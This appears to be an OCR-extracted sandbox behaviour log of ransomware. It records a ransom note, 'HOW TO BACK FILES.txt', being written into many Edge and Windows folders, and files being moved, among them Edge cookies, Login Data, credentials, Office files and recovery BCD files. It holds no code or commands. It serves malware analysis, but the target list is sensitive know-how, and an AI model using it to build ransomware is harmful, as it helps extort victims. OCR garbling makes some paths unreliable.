C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\PKIMetadata\HOW TO  synchronize | non alert | non

BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Recoverylmproved\HO  synchronize | non alert | non

W TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Safe Browsing\HOW T  synchronize | non alert | non

O BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Safety Tips\2983\_me synchronize | non alert | non

tadata\HOW TO BACK FILES.txt generic write directory file
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C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Safety Tips\2983\HOW
TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Safety Tips\HOW TO B
ACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\ShaderCache\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\SmartScreen\local\H
OW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\SmartScreen\RemoteD
ata\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\SmartScreen\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Speech Recognition\
1.15.0.1\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Speech Recognition\
HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Subresource Filter\
Indexed Rules\36\10.34.0.50\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Subresource Filter\
Indexed Rules\36\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Subresource Filter\
Indexed Rules\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Subresource Filter\
Unindexed Rules\10.34.0.50\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Subresource Filter\
Unindexed Rules\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Subresource Filter\
HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Trust Protection Li
sts\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\TrustTokenKeyCommit
ments\2023.9.4.1\_metadata\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\TrustTokenKeyCommit
ments\2023.9.4.1\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\TrustTokenKeyCommit
ments\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Typosquatting\1.202
31004.1.0\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Typosquatting\1.202
31006.1.0\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Typosquatting\HOW T
O BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Web Notifications Deny
List\2.0.0.4\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\Web Notifications Deny
ListHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\WidevineCdm\HOW
TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\Edge\User Data\WorkspacesNavigatio
nComponent\1.0.0.5\HOW TO BACK FILES.txt
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Access

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

2

Source Address

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

E54B75

Symbol

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\WorkspacesNavigatio  synchronize | non alert | non
nComponent\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\ZxcvbnData\HOW TO  synchronize | non alert | non
BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\HOW TO BACK synchronize | non alert | non
FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Feeds\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Feeds Cache\HOW TO BACK FILES.txt = synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\FontCache\4\Catalog\HOW TO BACK  synchronize | non alert | non
FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\FontCache\4\CloudFonts\Aptos\HOW T  synchronize | non alert | non
O BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\FontCache\4\CloudFonts\Aptos Displ synchronize | non alert | non
ay\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\FontCache\4\CloudFonts\Aptos Narro synchronize | non alert | non
W\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\FontCache\4\CloudFonts\HOW TO synchronize | non alert | non
BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\FontCache\4\PreviewFont\HOW TO synchronize | non alert | non
BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\FontCache\4\HOW TO BACK FILES.txt = synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\FontCache\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\GameDVR\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\input\af-ZA\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\input\ar-AE\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\input\ar-BH\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\input\ar-DZ\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-EG\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-IQ HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-JO\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-KW\AHOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-LB\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-LY\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-MA\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-OM\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-QA\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-SA\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-SY\HOW TO BACK FILES.ixt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-TN\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ar-YE\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\az-Latn-AZ\HOW TO BACK FILES synchronize | non alert | non
Axt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\bg-BG\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\bn-BD\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\ca-ES\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\cs-CZ\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\da-DK\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\de-AT\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\de-CH\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\de-DE\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\de-LNHOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\de-LU\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\el-GR\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-029\HOW TO BACK FILES.txt = synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-AU\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-BZ\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-CA\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-GB\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-HK\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-ID\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-IE\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-IN\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\input\en-JM\HOW TO BACK FILES.txt  synchronize | non alert | non

generic write directory file
File Moved
Old File Path New File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW

ckages\Microsoft. Windows.Photo
s_8wekyb3d8bbwe\LocalState\Med
iaDb.v1.sqlite-shm

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Photo

s_8wekyb3d8bbwe\LocalState\Med

iaDb.v1.sqlite-wal

C:\Program Files (x86)\Java\jre- success or wait 1 E54940 MoveFileW
1.8\lib\deploy\fficext.zip

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\Micros
oft.Lync.Utilities.Controls.zip

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\Micros
oft.Lync.Utilities.zip

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\Micros
oft.Lync.Model.zip

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\Ocomprivate.zip

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\sdxs\F

A000000051\dist\en-us_web\task

pane.js.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F

A000000051\dist\en-us_web\task

panev2.js.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\sdxs\F

A000000051\dist\en-us_web\task

pane.js.map.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\sdxs\F

A000000051\dist\en-us_web\task

panev2.js.map.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F
A000000051\dist\en-us_web\fabric.js.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F

A000000051\dist\en-us_web\vend

or.js.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F

A000000051\dist\en-us_web\fabr

ic.js.map.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F

A000000051\dist\en-us_web\vend

or.js.map.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F
A000000109\dist\vendor.js.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F
A000000109\dist\vendor.js.map.gz

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F
A000000109\dist\taskpane.js.gz
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C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office16\System
.Windows.Controls.Theming.Toolkit.zip

C:\Program Files (x86)\Microsoft success or wait 1 E54940 MoveFileW
Office\root\Office 16\sdxs\F
A000000109\dist\taskpane.js.map.gz

C:\EFI\Microsoft\Recovery\BCD success or wait 1 E54940 MoveFileW
C:\EFI\Microsoft\Recovery\BCD.LOG success or wait 1 E54940 MoveFileW
C:\Recovery\WindowsRE\boot.sdi success or wait 1 E54940 MoveFileW
C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW
obe\Acrobat\DC\Cache\AcroFnt23.Ist

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW
obe\Acrobat\DC\SharedDataEvents

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW
obe\Acrobat\DC\AdobeSysFnt23.Ist

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW
obe\Acrobat\DC\lconCacheAcro65

536.dat

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW

obe\AcroCef\DC\Acrobat\Cache\C
ache\Cache_Data\data_1

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW
obe\AcroCef\DC\Acrobat\Cache\C
ache\Cache_Data\index

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW
obe\AcroCef\DC\Acrobat\Cache\N

etwork\Cookies

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW

obe\AcroCef\DC\Acrobat\Cache\N
etwork\Reporting and NEL

C:\Users\user\AppData\Local\Ad success or wait 1 E54940 MoveFileW
obe\AcroCef\DC\Acrobat\Cache\Visited

Links

C:\Users\user\AppData\Local\Co success or wait 1 E54940 MoveFileW
mms\UnistoreDB\store.jfm

C:\Users\user\AppData\Local\Co success or wait 1 E54940 MoveFileW
mms\UnistoreDB\USSres00002.jrs

C:\Users\user\AppData\Local\Co success or wait 1 E54940 MoveFileW
mms\UnistoreDB\USSres00001.jrs

C:\Users\user\AppData\Local\Co success or wait 1 E54940 MoveFileW
mms\UnistoreDB\USStmp.jtx

C:\Users\user\AppData\Local\Co success or wait 1 E54940 MoveFileW
mms\UnistoreDB\USS.jtx

C:\Users\user\AppData\Local\Co success or wait 1 E54940 MoveFileW

mms\UnistoreDB\store.vol

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Credentials\DFBE70A7E5
CC19A398EBF1B96859CE5D

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Ad Bloc
king\blocklist

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Autofil
1\4.0.0.8\edge_autofill_field_data.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Certifi
cateRevocation\6498.2023.8.1\crl-set

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Autofil
1\4.0.0.8\v1FieldTypes.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\arbitration_service_config.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\BrowserMetrics-

spare.pma

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default
\AssistanceHome\AssistanceHome
SQLite

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Browser

Metrics\BrowserMetrics-651D7333-

1434.pma
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Browser

Metrics\BrowserMetrics-651D72DC-

1ACO.pma

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Browser

Metrics\BrowserMetrics-651D736A-

16E8.pma

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default\Asset
Store\assets.db\000003.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\Cache\Cache_Data\data_0

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\Cache\Cache_Data\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\Cache\Cache_Data\f 000002

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\Cache\Cache_Data\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\Cache\Cache_Data\f 000001

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\Cache\Cache_Data\data_3

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\EdgeEDrop\EdgeEDropSQLite.db

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\EdgeHubAppUsage\EdgeHubAppUsa

geSQLite.db

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\DawnCache\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default
\DawnCache\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\ExtensionActivityEdge

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default
\Extensions\ghbmnnjooekpmoecnn
nilnnbdlolhkhi\1.66.0_0\eventp
age_bin_prod.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Extensions\ghbmnnjooekpmoecnn

nilnnbdlolhkhi\1.66.0_0\_metad

ata\verified_contents.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Favicons

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default
\heavy_ad_intervention_opt_out.db

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\HubApps Icons

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\GPUCache\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\load_statistics.db-shm

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\GPUCache\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default\History
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\load_statistics.db-wal

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Network\Cookies

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default
\Network\Reporting and NEL

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\Network\Trust Tokens

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default
\Nurturing\campaign_history

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default\Network
Action Predictor

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default\Secure

Preferences

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Default
\Storage\ext\ihmafllikibppmigkc
oadcmckbfhibefp\def\Cache\Cach
e_Data\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Storage\ext\ihmafllikibppmigkc

oadcmckbfhibefp\def\Cache\Cach

e_Data\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Storage\ext\ihmafllikibpmigke

oadcmckbfhibefp\def\DawnCache\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Storage\ext\ihmafllikibpmigke

oadcmckbfhibefp\def\DawnCache\

data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Storage\ext\ihmafllikibpmigke

oadcmckbfhibefp\def\Network\Trust

Tokens

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Storage\ext\ihmafllikibpmigke

oadcmckbfhibefp\def\GPUCache\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Storage\ext\ihmafllikibpmigke

oadcmckbfhibefp\def\GPUCache\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default

\Storage\ext\ihmafllikibpmigkc

oadcmckbfhibefp\def\Network\Reporting

and NEL

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default
\WebAssistDatabase

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default\Top
Sites

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default\Vpn
Tokens

